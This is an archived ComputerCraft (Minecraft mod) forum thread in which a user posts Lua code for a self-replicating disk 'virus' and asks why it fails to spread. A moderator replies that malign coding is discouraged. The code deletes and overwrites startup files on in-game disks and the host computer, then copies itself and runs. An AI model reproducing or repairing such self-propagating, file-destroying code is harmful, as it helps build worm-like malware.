This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
Reinified's profile picture

Issue with self replicating file

Started by Reinified, 19 April 2017 - 12:24 PM
Reinified #1
Posted 19 April 2017 - 02:24 PM
This is the first proper program that I've made, forgive me if it looks horrendous.
I am aware that it is not allowed to post malicious programs, and therefore I won't be posting the other 2 files that are required to be able to run the program.

Problem:
The program won't run any of the code after line 22.This is very unusual, as there is no reason it should do so. If you can see an issue, please show me cause I'm stuck.

Goal:
Make a disk that, on startup will search for other disks on the PC, and infect them with the code of the original disk.

Currently:
Will work if the virus file is the only disk connected.
Won't work if there are more than 1 disks connected.

1 Disk:
Will compromise the PC of the target, but won't spread to other disks.

2+ Disks:
Nothing happens. The virus is not spread or anything. Absolutely nothing happens
THE FOLLOWING CODE IS THE FIRST TIME INSTALL, SO IT DOES NOT REALLY HELP AT ALL IF YOU RUN IT. THIS CAN BE USED FOR MALICIOUS PURPOSES SO DONT BLAME ME. THE MODS CAN DELETE THIS THREAD IF THEY THINK THE FILE IS TOO MALICIOUS AND I WILL RESPECT THE CHOICE.

Code also found at https://pastebin.com/7MS79vXN


present2 = fs.exists("disk2") --check if at least 2 disks are present
present = fs.exists("disk") -- ensure at least 1 disk is present (dunno why)
infect = fs.exists("disk/VIR") -- find out if disk 1 is the infected disk.
infect2 = fs.exists("disk2/VIR") -- find out if disk 2 is the infected disk
if infect == true then -- if disk1 infected infect disk2
  if present2 == true then -- make sure that disk2 exists
    fs.delete("disk2/startup") -- delete any files that might mess with the system.
    fs.delete("disk2/start") -- Refer to earlier
    fs.copy("disk/VIR", "disk2/VIR") -- copy virus files
    fs.copy("disk/start", "disk2/start")
    fs.copy("disk/startup", "disk2/startup")
  else
    if infect2 == true then -- if disk2 is infected infect disk1
	  if present == true then -- make sure that disk1 exists
	    fs.delete("disk/start") -- delete any other files in the way
	    fs.delete("disk/startup") -- refer to previus
	    fs.copy("disk2/start", "disk/start") -- Copy virus files
	    fs.copy("disk2/startup", "disk/startup")
	    fs.copy("disk2/VIR", "disk/VIR")
	  end
	  end
    end
fs.delete("startup") -- delete pc startup file
fs.copy("disk/start", "startup") -- copy virus start file to pc start file
shell.run("startup") -- run virus file
disk.eject("top") -- eject all disks
disk.eject("bottom")
disk.eject("left")
disk.eject("right")
end
Bomb Bloke #2
Posted 19 April 2017 - 02:37 PM
I am aware that it is not allowed to post malicious programs, and therefore I won't be posting the other 2 files that are required to be able to run the program.

Whether you're making the complete project visible isn't a factor to us - we simply seek to discourage all malign coding practises.